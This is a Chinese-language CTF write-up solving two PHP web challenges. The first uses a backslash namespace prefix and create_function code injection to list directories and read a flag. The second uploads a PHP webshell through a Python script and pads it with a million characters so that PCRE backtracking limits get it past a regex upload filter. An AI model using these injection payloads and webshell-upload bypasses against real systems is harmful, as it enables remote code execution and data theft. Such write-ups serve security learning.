之前郁师傅弄了环境我没去做(惭愧),于是自己搭了一下来做.
function
源码:
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
开头两行就有点懵,查了一下是php7新增的运算符,作用如右:(expr1) ?? (expr2),当 expr1 不为 NULL 时返回 expr1 的值,否则返回 expr2 的值.接下来是正则,action从头到尾,必须含有除了大小写字母,数字,下划线,不可见字符以外的字符,而根据源码,可知action应该传入一个函数,于是查询资料发现了”\”这个符号: php全局空间
(PHP 5 >= 5.3.0, PHP 7)
如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。
<?php namespace A\B\C; /* 这个函数是 A\B\C\fopen */ function fopen() { /* ... */ $f = \fopen(...); // 调用全局的fopen函数 return $f; } ?>
正则的问题解决了,就要开始考虑要使用什么函数来达成我们的目的.查了一下,发现了Chybeta师傅的文章中提到的create_function函数.Chybeta师傅的文章:php代码/命令执行漏洞
详细再查了一下create_function函数:create_function() 代码注入
接下来就开始构造payload了.一开始是/?action=\create_function&arg=1;}system(‘ls’);/* 结果发现system不能用,于是想起之前做综合题(2)的时候用的print_r(scandir(‘.’)),发现可以执行,于是继续/?action=\create_function&arg=1;}print_r(scandir(‘..’));/* 成功找到flag所在文件:flag_h0w2execute_arb1trary_c0de,于是继续/?action=\create_function&arg=1;}print_r(file_get_contents(‘../flag_h0w2execute_arb1trary_c0de’));/* 成功获得flag.
pcrewaf
还是先上源码:
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
is_php的正则,data若在存在<?的同时还存在(`;?>等字符的其中一个,则返回true.
接着往下看,本题是可以上传文件的,但是内容会经is_php处理.当is_php返回true时,就会输出bad request.常规的一句话肯定是不行的了,使用之前看到过的<script language=”php”>也不行(学长的文章里说可能是因为php版本问题),所以这个正则到底要怎么绕,我查了一下,发现了可以利用正则回溯.
接下来就是上传文件了.
魔改的脚本:
import requests from io import BytesIO url = 'http://207.246.107.54:8088/' payload = '<?php eval($_REQUEST[leuk]);//'+'a' * 1000000 files = { 'file':BytesIO(payload.encode('utf-8')) } re = requests.post(url=url,files=files,allow_redirects=False) path = re.headers['Location'] url += path data = { #'leuk':"print_r(scandir('..'));" #'leuk':"print_r(scandir('../../'));" #'leuk':"print_r(scandir('../../../'));" 'leuk':"print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));" } r = requests.post(url,data) print(r.text)
得到flag.
No responses yet